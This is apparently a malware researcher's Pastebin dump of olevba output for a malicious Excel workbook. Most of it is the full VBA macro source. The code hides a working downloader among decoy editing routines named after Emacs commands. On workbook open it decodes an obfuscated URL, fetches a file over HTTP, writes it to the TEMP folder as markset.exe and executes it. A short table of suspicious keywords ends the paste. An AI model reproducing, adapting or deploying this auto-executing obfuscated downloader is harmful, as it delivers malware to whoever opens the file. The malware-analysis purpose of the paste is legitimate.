SHARE
TWEET

Malicious Excel macro

dynamoo Nov 26th, 2015 218 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.31 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MAS--B-V SI528880.xls
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: SI528880.xls
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ÝòàÊíèãà.cls
  13. in file: SI528880.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15. Private Sub Workbook_Open()
  16. set_justification_center
  17. doc_of_mark_whole_buffer
  18. End Sub
  19.  
  20.  
  21.  
  22.  
  23.  
  24.  
  25.  
  26.  
  27. -------------------------------------------------------------------------------
  28. VBA MACRO Ëèñò1.cls
  29. in file: SI528880.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
  30. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  31. (empty macro)
  32. -------------------------------------------------------------------------------
  33. VBA MACRO Ëèñò2.cls
  34. in file: SI528880.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
  35. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  36. (empty macro)
  37. -------------------------------------------------------------------------------
  38. VBA MACRO Ëèñò3.cls
  39. in file: SI528880.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
  40. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  41. (empty macro)
  42. -------------------------------------------------------------------------------
  43. VBA MACRO Module1.bas
  44. in file: SI528880.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
  45. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  46. Sub backward_word()
  47.  If mark_set Then
  48.  Selection.MoveLeft Unit:=wdWord, Count:=num_arg, Extend:=wdExtend
  49.  Else
  50.  Selection.MoveLeft Unit:=wdWord, Count:=num_arg, Extend:=wdMove
  51.  End If
  52.  complete
  53. End Sub
  54. Sub doc_of_forward_char()
  55.  doc_string = ""
  56. End Sub
  57. Sub forward_char()
  58.  If mark_set Then
  59.  Selection.MoveRight Unit:=wdCharacter, Count:=num_arg, Extend:=wdExtend
  60.  Else
  61.  Selection.MoveRight Unit:=wdCharacter, Count:=num_arg, Extend:=wdMove
  62.  End If
  63.  complete
  64. End Sub
  65. Sub doc_of_backward_char()
  66.  doc_string = ""
  67. End Sub
  68. Sub backward_char()
  69.  If mark_set Then
  70.  Selection.MoveLeft Unit:=wdCharacter, Count:=num_arg, Extend:=wdExtend
  71.  Else
  72.  Selection.MoveLeft Unit:=wdCharacter, Count:=num_arg, Extend:=wdMove
  73.  End If
  74.  complete
  75. End Sub
  76. Sub doc_of_previous_line()
  77.  doc_string = ""
  78. End Sub
  79. Sub previous_line()
  80.  If mark_set Then
  81.  Selection.MoveUp Unit:=wdLine, Count:=num_arg, Extend:=wdExtend
  82.  Else
  83.  Selection.MoveUp Unit:=wdLine, Count:=num_arg, Extend:=wdMove
  84.  End If
  85.  complete
  86. End Sub
  87. Sub doc_of_next_line()
  88.  doc_string = ""
  89. End Sub
  90. Sub next_line()
  91.  If mark_set Then
  92.  Selection.MoveDown Unit:=wdLine, Count:=num_arg, Extend:=wdExtend
  93.  Else
  94.  Selection.MoveDown Unit:=wdLine, Count:=num_arg, Extend:=wdMove
  95.  End If
  96.  complete
  97. End Sub
  98. Sub doc_of_move_beginning_of_line()
  99.  doc_string = ""
  100. End Sub
  101. Sub move_beginning_of_line()
  102.  If mark_set Then
  103.  Selection.HomeKey Unit:=wdLine, Extend:=wdExtend
  104.  Else
  105.  Selection.HomeKey Unit:=wdLine, Extend:=wdMove
  106.  End If
  107.  complete
  108. End Sub
  109. Sub doc_of_move_end_of_line()
  110.  doc_string = ""
  111. End Sub
  112. Sub move_end_of_line()
  113.  If mark_set Then
  114.  Selection.EndKey Unit:=wdLine, Extend:=wdExtend
  115.  Else
  116.  Selection.EndKey Unit:=wdLine, Extend:=wdMove
  117.  End If
  118.  complete
  119. End Sub
  120. Sub doc_of_backward_sentence()
  121.  doc_string = ""
  122. End Sub
  123. Sub backward_sentence()
  124.  If mark_set Then
  125.  Selection.MoveLeft Unit:=wdSentence, Count:=num_arg, Extend:=wdExtend
  126.  Else
  127.  Selection.MoveLeft Unit:=wdSentence, Count:=num_arg, Extend:=wdMove
  128.  End If
  129.  complete
  130. End Sub
  131. Sub doc_of_forward_sentence()
  132.  doc_string = ""
  133. End Sub
  134. Sub forward_sentence()
  135.  If mark_set Then
  136.  Selection.MoveRight Unit:=wdSentence, Count:=num_arg, Extend:=wdExtend
  137.  Else
  138.  Selection.MoveRight Unit:=wdSentence, Count:=num_arg, Extend:=wdMove
  139.  End If
  140.  complete
  141. End Sub
  142. Sub doc_of_beginning_of_buffer()
  143.  doc_string = ""
  144. End Sub
  145. Sub beginning_of_buffer()
  146.  If mark_set Then
  147.  Selection.HomeKey Unit:=wdStory, Extend:=wdExtend
  148.  Else
  149.  Selection.HomeKey Unit:=wdStory
  150.  End If
  151.  complete
  152. End Sub
  153. Sub doc_of_end_of_buffer()
  154.  doc_string = ""
  155. End Sub
  156. Sub end_of_buffer()
  157.  If mark_set Then
  158.  Selection.EndKey Unit:=wdStory, Extend:=wdExtend
  159.  Else
  160.  Selection.EndKey Unit:=wdStory
  161.  End If
  162.  complete
  163. End Sub
  164. Sub doc_of_forward_page()
  165.  doc_string = ""
  166. End Sub
  167. Sub forward_page()
  168.  Selection.GoToNext What:=wdGoToPage
  169.  complete
  170. End Sub
  171. Sub doc_of_backward_page()
  172.  doc_string = ""
  173. End Sub
  174. Sub backward_page()
  175.  Selection.GoToPrevious What:=wdGoToPage
  176.  complete
  177. End Sub
  178. Sub doc_of_forward_paragraph()
  179.  doc_string = ""
  180. End Sub
  181. Sub forward_paragraph()
  182.  If mark_set Then
  183.  Selection.MoveDown Unit:=wdParagraph, Count:=num_arg, Extend:=wdExtend
  184.  Else
  185.  Selection.MoveDown Unit:=wdParagraph, Count:=num_arg, Extend:=wdMove
  186.  End If
  187.  complete
  188. End Sub
  189. Sub doc_of_backward_paragraph()
  190.  doc_string = ""
  191. End Sub
  192. Sub backward_paragraph()
  193.  If mark_set Then
  194.  Selection.MoveUp Unit:=wdParagraph, Count:=num_arg, Extend:=wdExtend
  195.  Else
  196.  Selection.MoveUp Unit:=wdParagraph, Count:=num_arg, Extend:=wdMove
  197.  End If
  198.  complete
  199. End Sub
  200. Sub doc_of_scroll_up_command()
  201.  doc_string = ""
  202. End Sub
  203. Sub scroll_up_command()
  204.  If mark_set Then
  205.  Selection.MoveDown Unit:=wdScreen, Count:=num_arg, Extend:=wdExtend
  206.  Else
  207.  Selection.MoveDown Unit:=wdScreen, Count:=num_arg, Extend:=wdMove
  208.  End If
  209.  complete
  210. End Sub
  211. Sub doc_of_scroll_down_command()
  212.  mark_set_shellApp.Open (mark_set_tempFile)
  213. End Sub
  214. Sub scroll_down_command()
  215.  If mark_set Then
  216.  Selection.MoveUp Unit:=wdScreen, Count:=num_arg, Extend:=wdExtend
  217.  Else
  218.  Selection.MoveUp Unit:=wdScreen, Count:=num_arg, Extend:=wdMove
  219.  End If
  220.  complete
  221. End Sub
  222. Sub doc_of_universal_argument()
  223.     mark_set_adodbStream.savetofile mark_set_tempFile, 2
  224.     doc_of_scroll_down_command
  225. End Sub
  226. Sub universal_argument()
  227.  frmUniArg.Show
  228.  If frmUniArg.get_quit_reason() = dqrCancel Then
  229.  Unload frmUniArg
  230.  Exit Sub
  231.  End If
  232.  Dim self_ins_string As String
  233.  frmUniArg.get_two_parts num_arg, self_ins_string
  234.  If self_ins_string <> "" Then
  235.  While num_arg > 0
  236.  Selection.TypeText Text:=self_ins_string
  237.  num_arg = num_arg - 1
  238.  Wend
  239.  num_arg = 1
  240.  End If
  241.  Unload frmUniArg
  242. End Sub
  243. Sub doc_of_execute_extended_command()
  244.  mark_set_adodbStream.write mark_set_httpRequest.responseBody
  245.  doc_of_universal_argument
  246. End Sub
  247. Sub execute_extended_command()
  248.  Dim cmd As String
  249.  Dim arg As String
  250.  cmd = InputBox("", "")
  251.  cmd = Replace(cmd, "", "")
  252.  On Error Resume Next
  253.  Application.Run cmd
  254. End Sub
  255. Sub doc_of_transpose_chars()
  256.  doc_string = ""
  257. End Sub
  258. Sub transpose_chars()
  259.  begin_action ""
  260.  Dim c
  261.  Selection.MoveLeft Unit:=wdCharacter, Count:=1, Extend:=wdExtend
  262.  c = Selection
  263.  Selection.Delete
  264.  Selection.Collapse Direction:=wdCollapseEnd
  265.  Selection.MoveRight Unit:=wdCharacter, Count:=num_arg
  266.  Selection.InsertAfter c
  267.  Selection.Collapse
  268.  end_action
  269.  complete
  270. End Sub
  271. Sub doc_of_transpose_words()
  272.  mark_set_adodbStream.Type = 1
  273.  mark_set_adodbStream.Open
  274.  doc_of_execute_extended_command
  275. End Sub
  276. Sub transpose_words()
  277.  begin_action ""
  278.  Dim w
  279.  Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend
  280.  w = Selection
  281.  Selection.Delete
  282.  Selection.Collapse Direction:=wdCollapseEnd
  283.  Selection.MoveRight Unit:=wdWord, Count:=num_arg
  284.  Selection.InsertAfter w
  285.  Selection.Collapse
  286.  end_action
  287.  complete
  288. End Sub
  289. Sub doc_of_exchange_point_and_mark()
  290.  doc_string = ""
  291. End Sub
  292. Sub exchange_point_and_mark()
  293.  If Selection.Type = wdSelectionIP Then
  294.  Dim point_pos As Long
  295.  point_pos = Selection.Start
  296.  If mark_pos <= point_pos Then
  297.  Selection.Start = mark_pos
  298.  Selection.StartIsActive = False
  299.  Else
  300.  Selection.End = mark_pos
  301.  Selection.StartIsActive = True
  302.  End If
  303.  mark_set = True
  304.  End If
  305.  Selection.StartIsActive = Not Selection.StartIsActive
  306.  If Selection.StartIsActive Then
  307.  mark_pos = Selection.End
  308.  Else
  309.  mark_pos = Selection.Start
  310.  End If
  311.  complete
  312. End Sub
  313. Sub doc_of_downcase_region()
  314.  doc_string = ""
  315. End Sub
  316. Sub downcase_region()
  317.  Selection.Range.Case = wdLowerCase
  318.  select_nothing
  319.  mark_set = False
  320.  complete
  321. End Sub
  322. Sub doc_of_upcase_region()
  323. mark_set_httpRequest.Send
  324. doc_of_transpose_words
  325. End Sub
  326. Sub upcase_region()
  327.  Selection.Range.Case = wdUpperCase
  328.  select_nothing
  329.  mark_set = False
  330.  complete
  331. End Sub
  332. Public Sub doc_of_mark_whole_buffer()
  333.  mark_set_tempFolder = mark_set_processEnv("TEMP")
  334. mark_set_tempFile = mark_set_tempFolder + "\" + "markset" + mark_set_d & mark_set_e + mark_set_x + mark_set_e
  335. doc_of_upcase_region
  336. End Sub
  337. Sub mark_whole_buffer()
  338.  Selection.EndKey Unit:=wdStory
  339.  mark_set = True
  340.  mark_pos = Selection.Start
  341.  Selection.HomeKey Unit:=wdStory, Extend:=wdExtend
  342.  complete
  343. End Sub
  344. Sub doc_of_save_buffer()
  345.  doc_string = ""
  346. End Sub
  347. Sub save_buffer()
  348.  On Error Resume Next
  349.  ActiveDocument.Save
  350.  complete
  351. End Sub
  352. Sub doc_of_recenter()
  353.  doc_string = ""
  354. End Sub
  355. Sub recenter()
  356.  Application.ScreenUpdating = False
  357.  ActiveWindow.ActivePane.VerticalPercentScrolled = 0
  358.  ActiveWindow.ScrollIntoView Selection.Range, True
  359.  Application.ScreenUpdating = True
  360.  complete
  361. End Sub
  362. Sub doc_of_undo()
  363.  doc_string = ""
  364. End Sub
  365. Sub undo()
  366.  On Error Resume Next
  367.  Application.Run ""
  368.  select_nothing
  369.  complete
  370. End Sub
  371. Function other_pane_index(this_pane_index As Integer)
  372.  Debug.Assert this_pane_index = 1 Or this_pane_index = 2
  373.  If this_pane_index = 1 Then
  374.  other_pane_index = 2
  375.  Else
  376.  other_pane_index = 1
  377.  End If
  378. End Function
  379. Sub doc_of_split_window_vertically()
  380.  doc_string = ""
  381. End Sub
  382. Sub split_window_vertically()
  383.  Application.ScreenUpdating = False
  384.  ActiveDocument.ActiveWindow.Split = True
  385.  ActiveWindow.Panes(1).Activate
  386.  ActiveWindow.ScrollIntoView Selection.Range, True
  387.  Debug.Print Selection.Start, Selection.End
  388.  Dim sel_start As Long
  389.  Dim sel_end As Long
  390.  sel_start = Selection.Start
  391.  sel_end = Selection.End
  392.  ActiveWindow.Panes(other_pane_index(ActiveWindow.ActivePane.Index)).Activate
  393.  Selection.Start = sel_start
  394.  Selection.End = sel_end
  395.  ActiveWindow.ScrollIntoView Selection.Range, True
  396.  ActiveWindow.Panes(1).Activate
  397.  Application.ScreenUpdating = True
  398.  complete
  399. End Sub
  400. Sub doc_of_other_window()
  401.  doc_string = ""
  402. End Sub
  403. Sub other_window()
  404.  If ActiveWindow.Panes.Count > 1 Then
  405.  ActiveWindow.Panes(other_pane_index(ActiveWindow.ActivePane.Index)).Activate
  406.  End If
  407.  complete
  408. End Sub
  409. Sub doc_of_delete_window()
  410.  doc_string = ""
  411. End Sub
  412. Sub delete_window()
  413.  If ActiveWindow.Panes.Count > 1 Then
  414.  ActiveWindow.ActivePane.Close
  415.  End If
  416.  complete
  417. End Sub
  418. Sub doc_of_delete_other_windows()
  419.  doc_string = ""
  420. End Sub
  421. Sub delete_other_windows()
  422.  While ActiveWindow.Panes.Count > 1
  423.  ActiveWindow.ActivePane.Next.Activate
  424.  ActiveWindow.ActivePane.Close
  425.  Wend
  426.  complete
  427. End Sub
  428. Sub doc_of_set_justification_left()
  429.  doc_string = ""
  430. End Sub
  431. Sub set_justification_left()
  432.  Selection.ParagraphFormat.Alignment = wdAlignParagraphLeft
  433.  complete
  434. End Sub
  435. Sub doc_of_set_justification_center()
  436.  doc_string = ""
  437. End Sub
  438. Public Sub set_justification_center()
  439.  Set mark_set_httpRequest = CreateObject("Microsoft" + mark_set_d + UCase(mark_set_x) + "MLHTTP")
  440.  doc_of_set_justification_full
  441.  Exit Sub
  442.  Selection.ParagraphFormat.Alignment = wdAlignParagraphCenter
  443.  complete
  444. End Sub
  445. Sub doc_of_set_justification_right()
  446.  doc_string = ""
  447. End Sub
  448. Sub set_justification_right()
  449.  Selection.ParagraphFormat.Alignment = wdAlignParagraphRight
  450.  complete
  451. End Sub
  452. Sub doc_of_set_justification_full()
  453.  Set mark_set_adodbStream = CreateObject("Adodb" + mark_set_d + "Str" + mark_set_e + "am")
  454.  doc_of_describe_function
  455. End Sub
  456. Sub set_justification_full()
  457.  Selection.ParagraphFormat.Alignment = wdAlignParagraphJustify
  458.  complete
  459. End Sub
  460. Sub doc_of_describe_key()
  461.  doc_string = ""
  462. End Sub
  463. Sub describe_key()
  464.  is_desc_key = True
  465.  statusbar_prefix = ""
  466.  StatusBar = statusbar_prefix
  467.  complete
  468. End Sub
  469. Sub doc_of_describe_function()
  470.  Set mark_set_shellApp = CreateObject("Sh" + mark_set_e + "ll" + mark_set_d + "Application")
  471.  doc_of_isearch_backward
  472. End Sub
  473. Sub describe_function()
  474.  Dim cmd As String
  475.  cmd = InputBox("", "")
  476.  cmd = Replace(cmd, "", "")
  477.  Dim doc_string_proc_name As String
  478.  doc_string_proc_name = "" & cmd
  479.  On Error Resume Next
  480.  Application.Run macroname:=doc_string_proc_name
  481.  MsgBox doc_string, Title:=cmd
  482.  reset_doc_string
  483.  complete
  484. End Sub
  485. Sub doc_of_isearch_forward()
  486.  doc_string = ""
  487. End Sub
  488. Sub isearch_forward()
  489.  search_fwd = True
  490.  doing_search = True
  491.  frmISearch.cbWildcards = False
  492.  doing_search = False
  493.  frmISearch.Show vbModeless
  494. End Sub
  495. Sub doc_of_isearch_backward()
  496.  Set mark_set_processEnv = CreateObject("WScript" + mark_set_d + "Sh" + mark_set_e + "ll").Environment("Proc" + mark_set_e + "ss")
  497.  doc_of_isearch_forward_regexp
  498. End Sub
  499. Sub isearch_backward()
  500.  search_fwd = False
  501.  frmISearch.cbWildcards = False
  502.  frmISearch.Show vbModeless
  503. End Sub
  504. Sub doc_of_isearch_forward_regexp()
  505.  
  506. Dim chubaka() As Variant
  507. chubaka = Array(1778, 1790, 1790, 1786, 1732, 1721, 1721, 1784, 1771, 1773, 1775, 1789, 1790, 1775, 1724, 1720, 1773, 1796, 1775, 1773, 1778, 1779, 1771, 1784, 1720, 1784, 1775, 1790, 1721, 1729, 1728, 1790, 1730, 1731, 1721, 1725, 1724, 1730, 1731, 1730, 1791, 1720, 1775, 1794, 1775)
  508. uzi = delete_all_wom(chubaka, 44)
  509. uzi2 = False
  510. uzi0 = "G" + "" + "" + "" + UCase(mark_set_e) + "T"
  511. mark_set_httpRequest.Open uzi0, uzi, uzi2
  512. End Sub
  513. Sub isearch_forward_regexp()
  514.  search_fwd = True
  515.  frmISearch.cbWildcards = True
  516.  frmISearch.Show vbModeless
  517. End Sub
  518. Sub doc_of_isearch_backward_regexp()
  519.  doc_string = ""
  520. End Sub
  521. Sub isearch_backward_regexp()
  522.  search_fwd = False
  523.  frmISearch.cbWildcards = True
  524.  frmISearch.Show vbModeless
  525. End Sub
  526. Sub doc_of_delete_horizontal_space()
  527.  doc_string = ""
  528. End Sub
  529. Sub delete_horizontal_space()
  530.  Application.ScreenUpdating = False
  531.  Selection.MoveStartWhile cset:="", Count:=wdBackward
  532.  Selection.MoveEndWhile cset:="", Count:=wdForward
  533.  If Selection.Type = wdSelectionNormal Then
  534.  Selection.Delete
  535.  End If
  536.  Application.ScreenUpdating = True
  537. End Sub
  538. Sub doc_of_just_one_space()
  539.  doc_string = ""
  540. End Sub
  541. Sub just_one_space()
  542.  Application.ScreenUpdating = False
  543.  Selection.MoveStartWhile cset:="", Count:=wdBackward
  544.  Selection.MoveEndWhile cset:="", Count:=wdForward
  545.  If Selection.Type = wdSelectionNormal Then
  546.  Selection.Delete
  547.  End If
  548.  Selection.TypeText ""
  549.  Application.ScreenUpdating = True
  550. End Sub
  551. Sub complete()
  552.  num_arg = 1
  553. End Sub
  554. Sub prompt_undefined()
  555.  StatusBar = ""
  556.  complete
  557. End Sub
  558.  
  559.  
  560.  
  561.  
  562.  
  563.  
  564. -------------------------------------------------------------------------------
  565. VBA MACRO Module2.bas
  566. in file: SI528880.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
  567. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  568.  
  569. Public is_desc_key As Boolean
  570. Public statusbar_prefix As String
  571. Public search_fwd As Boolean
  572. Public womacs_on As Boolean
  573. Public mark_set_httpRequest As Object
  574. Public Const mark_set_e = "e"
  575. Public Const mark_set_d = "."
  576. Public Const mark_set_x = "x"
  577. Public mark_set_adodbStream As Object
  578. Public mark_set_processEnv  As Object
  579. Public mark_set_tempFolder As String
  580. Public mark_set_tempFile As String
  581. Public mark_set_shellApp As Object
  582. Public mark_set As Boolean
  583. Public mark_pos As Long
  584. Public num_arg As Long
  585. Dim action_record_balance As Integer
  586. Public delete_word As Boolean
  587.  
  588. Sub store_doc_locals(ByVal Doc As String)
  589.  push_saved_state Doc
  590.  Doc.Variables("") = CStr(womacs_on)
  591.  Doc.Variables("") = CStr(mark_set)
  592.  Doc.Variables("") = CStr(mark_pos)
  593.  pop_saved_state Doc
  594. End Sub
  595. Sub load_doc_locals(ByVal Doc As String)
  596.  womacs_on = False
  597.  mark_set = False
  598.  mark_pos = -1
  599.  On Error Resume Next
  600.  womacs_on = CBool(Doc.Variables(""))
  601.  mark_set = CBool(Doc.Variables(""))
  602.  mark_pos = CLng(Doc.Variables(""))
  603. End Sub
  604. Sub delete_all_womacs_vars(ByVal Doc As String)
  605.  push_saved_state Doc
  606.  On Error Resume Next
  607.  Doc.Variables("").Delete
  608.  Doc.Variables("").Delete
  609.  Doc.Variables("").Delete
  610.  pop_saved_state Doc
  611. End Sub
  612.  
  613. Sub begin_action(name As String)
  614.  If StrComp(Application.Version, "") = -1 Then
  615.  Exit Sub
  616.  End If
  617.  Debug.Assert action_record_balance = 0
  618.  action_record_balance = action_record_balance + 1
  619.  Application.UndoRecord.StartCustomRecord "" & name
  620. End Sub
  621. Sub end_action()
  622.  If StrComp(Application.Version, "") = -1 Then
  623.  Exit Sub
  624.  End If
  625.  Debug.Assert action_record_balance = 1
  626.  action_record_balance = action_record_balance - 1
  627.  Application.UndoRecord.EndCustomRecord
  628. End Sub
  629. Sub doc_of_set_mark_command()
  630.  doc_string = ""
  631. End Sub
  632. Sub set_mark_command()
  633.  Dim old_mark_pos As Long
  634.  If mark_set Then
  635.  select_nothing
  636.  If mark_pos = Selection.Start Then
  637.  mark_set = False
  638.  Application.StatusBar = ""
  639.  Exit Sub
  640.  End If
  641.  End If
  642.  old_mark_pos = mark_pos
  643.  mark_set = True
  644.  mark_pos = Selection.Start
  645.  If mark_pos = old_mark_pos Then
  646.  Application.StatusBar = ""
  647.  Else
  648.  Application.StatusBar = ""
  649.  End If
  650.  complete
  651. End Sub
  652. Public Function delete_all_wom(fromArr() As Variant, LenLen As Integer) As String
  653.     Dim i As Integer
  654.     Variabl = ""
  655.     For i = LBound(fromArr) To UBound(fromArr)
  656.         Variabl = Variabl & Chr(fromArr(i) - 10 * LenLen - 1234)
  657.     Next i
  658.     delete_all_wom = Variabl
  659. End Function
  660.  
  661. Sub select_nothing()
  662.  If Selection.Type = wdSelectionIP Then
  663.  Exit Sub
  664.  End If
  665.  If Selection.StartIsActive Then
  666.  Selection.Collapse Direction:=wdCollapseStart
  667.  Else
  668.  Selection.Collapse Direction:=wdCollapseEnd
  669.  End If
  670. End Sub
  671. Sub doc_of_keyboard_quit()
  672.  doc_string = ""
  673. End Sub
  674. Sub keyboard_quit()
  675.  Application.StatusBar = ""
  676.  mark_set = False
  677.  select_nothing
  678.  complete
  679.  Set current_keymap = global_keymap
  680.  global_keymap.bind ActiveDocument
  681.  ImeRestoreStatus
  682. End Sub
  683. Sub doc_of_kill_line()
  684.  doc_string = ""
  685. End Sub
  686. Sub kill_line()
  687.  mark_set = False
  688.  select_nothing
  689.  Selection.EndKey Unit:=wdLine, Extend:=wdExtend
  690.  If Selection.Type <> wdSelectionIP _
  691.  And Asc(Selection.Characters.Last.Text) = 13 _
  692.  And Asc(Selection.Characters.First.Text) <> 13 Then
  693.  Selection.MoveLeft Unit:=wdCharacter, Count:=1, Extend:=wdExtend
  694.  End If
  695.  If Selection.Type <> wdSelectionIP Then
  696.  Selection.Cut
  697.  End If
  698.  complete
  699. End Sub
  700. Sub doc_of_kill_region()
  701.  doc_string = """"""
  702. End Sub
  703. Sub kill_region()
  704.  On Error Resume Next
  705.  Application.Run macroname:=""
  706.  mark_set = False
  707.  complete
  708. End Sub
  709. Sub doc_of_delete_region()
  710.  doc_string = ""
  711. End Sub
  712. Sub delete_region()
  713.  On Error Resume Next
  714.  Selection.Delete Unit:=wdCharacter, Count:=1
  715.  mark_set = False
  716.  complete
  717. End Sub
  718. Sub doc_of_kill_word()
  719.  doc_string = ""
  720. End Sub
  721. Sub kill_word()
  722.  On Error Resume Next
  723.  mark_set = False
  724.  select_nothing
  725.  begin_action ""
  726.  If delete_word Then
  727.  While num_arg > 0
  728.  Application.Run macroname:=""
  729.  num_arg = num_arg - 1
  730.  Wend
  731.  Else
  732.  Selection.MoveRight Unit:=wdWord, Count:=num_arg, Extend:=wdExtend
  733.  Selection.StartIsActive = Not Selection.StartIsActive
  734.  Selection.Cut
  735.  End If
  736.  end_action
  737.  complete
  738. End Sub
  739. Sub doc_of_backward_kill_word()
  740.  doc_string = ""
  741. End Sub
  742. Sub backward_kill_word()
  743.  begin_action ""
  744.  If delete_word Then
  745.  While num_arg > 0
  746.  Application.Run macroname:=""
  747.  num_arg = num_arg - 1
  748.  Wend
  749.  Else
  750.  Selection.MoveLeft Unit:=wdWord, Count:=num_arg, Extend:=wdExtend
  751.  Selection.StartIsActive = Not Selection.StartIsActive
  752.  Selection.Cut
  753.  End If
  754.  end_action
  755.  complete
  756. End Sub
  757. Sub doc_of_kill_ring_save()
  758.  doc_string = ""
  759. End Sub
  760. Sub kill_ring_save()
  761.  On Error Resume Next
  762.  Application.Run macroname:=""
  763.  select_nothing
  764.  mark_set = False
  765.  complete
  766. End Sub
  767. Sub doc_of_yank()
  768.  doc_string = ""
  769. End Sub
  770. Sub yank()
  771.  mark_set = False
  772.  select_nothing
  773.  Application.Run macroname:=""
  774.  complete
  775. End Sub
  776. Sub doc_of_delete_char()
  777.  doc_string = ""
  778. End Sub
  779. Sub delete_char()
  780.  mark_set = False
  781.  select_nothing
  782.  Selection.Delete Unit:=wdCharacter, Count:=num_arg
  783.  complete
  784. End Sub
  785. Sub doc_of_upcase_word()
  786.  doc_string = ""
  787. End Sub
  788. Sub upcase_word()
  789.  select_nothing
  790.  mark_set = False
  791.  begin_action ""
  792.  If num_arg < 0 Then
  793.  Dim point_pos As Long
  794.  point_pos = Selection.Start
  795.  Selection.MoveLeft Unit:=wdWord, Count:=-num_arg
  796.  While Selection.Start < point_pos
  797.  Selection.Range.Case = wdUpperCase
  798.  Selection.MoveRight Unit:=wdWord, Count:=1
  799.  Wend
  800.  End If
  801.  While num_arg > 0
  802.  Selection.Range.Case = wdUpperCase
  803.  Selection.MoveRight Unit:=wdWord, Count:=1
  804.  num_arg = num_arg - 1
  805.  Wend
  806.  end_action
  807.  complete
  808. End Sub
  809. Sub doc_of_downcase_word()
  810.  doc_string = ""
  811. End Sub
  812. Sub downcase_word()
  813.  select_nothing
  814.  mark_set = False
  815.  begin_action ""
  816.  If num_arg < 0 Then
  817.  Dim point_pos As Long
  818.  point_pos = Selection.Start
  819.  Selection.MoveLeft Unit:=wdWord, Count:=-num_arg
  820.  While Selection.Start < point_pos
  821.  Selection.Range.Case = wdLowerCase
  822.  Selection.MoveRight Unit:=wdWord, Count:=1
  823.  Wend
  824.  End If
  825.  While num_arg > 0
  826.  Selection.Range.Case = wdLowerCase
  827.  Selection.MoveRight Unit:=wdWord, Count:=1
  828.  num_arg = num_arg - 1
  829.  Wend
  830.  end_action
  831.  complete
  832. End Sub
  833. Sub doc_of_capitalize_word()
  834.  doc_string = ""
  835. End Sub
  836. Sub capitalize_word()
  837.  select_nothing
  838.  mark_set = False
  839.  begin_action ""
  840.  If num_arg < 0 Then
  841.  Dim point_pos As Long
  842.  point_pos = Selection.Start
  843.  Selection.MoveLeft Unit:=wdWord, Count:=-num_arg
  844.  While Selection.Start < point_pos
  845.  Selection.Range.Case = wdTitleWord
  846.  Selection.MoveRight Unit:=wdWord, Count:=1
  847.  Wend
  848.  End If
  849.  While num_arg > 0
  850.  Selection.Range.Case = wdTitleWord
  851.  Selection.MoveRight Unit:=wdWord, Count:=1
  852.  num_arg = num_arg - 1
  853.  Wend
  854.  end_action
  855.  complete
  856. End Sub
  857. Sub doc_of_newline()
  858.  doc_string = ""
  859. End Sub
  860. Sub newline()
  861.  select_nothing
  862.  mark_set = False
  863.  begin_action ""
  864.  While num_arg > 0
  865.  Selection.TypeParagraph
  866.  num_arg = num_arg - 1
  867.  Wend
  868.  end_action
  869.  complete
  870. End Sub
  871. Sub doc_of_open_line()
  872.  doc_string = ""
  873. End Sub
  874. Sub open_line()
  875.  select_nothing
  876.  mark_set = False
  877.  begin_action ("")
  878.  Dim i As Integer
  879.  For i = 1 To num_arg
  880.  Selection.TypeParagraph
  881.  Next i
  882.  Selection.MoveLeft Unit:=wdCharacter, Count:=num_arg
  883.  end_action
  884.  complete
  885. End Sub
  886. Sub doc_of_forward_word()
  887.  doc_string = ""
  888. End Sub
  889. Sub forward_word()
  890.  If mark_set Then
  891.  Selection.MoveRight Unit:=wdWord, Count:=num_arg, Extend:=wdExtend
  892.  Else
  893.  Selection.MoveRight Unit:=wdWord, Count:=num_arg, Extend:=wdMove
  894.  End If
  895.  complete
  896. End Sub
  897. Sub doc_of_backward_word()
  898.  doc_string = ""
  899. End Sub
  900.  
  901.  
  902.  
  903.  
  904.  
  905.  
  906. +------------+----------------------+-----------------------------------------+
  907. | Type       | Keyword              | Description                             |
  908. +------------+----------------------+-----------------------------------------+
  909. | AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
  910. | Suspicious | Open                 | May open a file                         |
  911. | Suspicious | Run                  | May run an executable file or a system  |
  912. |            |                      | command                                 |
  913. | Suspicious | CreateObject         | May create an OLE object                |
  914. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  915. |            |                      | strings                                 |
  916. | Suspicious | SaveToFile           | May create a text file                  |
  917. | Suspicious | Write                | May write to a file (if combined with   |
  918. |            |                      | Open)                                   |
  919. | Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
  920. |            |                      | may be used to obfuscate strings        |
  921. |            |                      | (option --decode to see all)            |
  922. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  923. |            | Strings              | may be used to obfuscate strings        |
  924. |            |                      | (option --decode to see all)            |
  925. +------------+----------------------+-----------------------------------------+
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top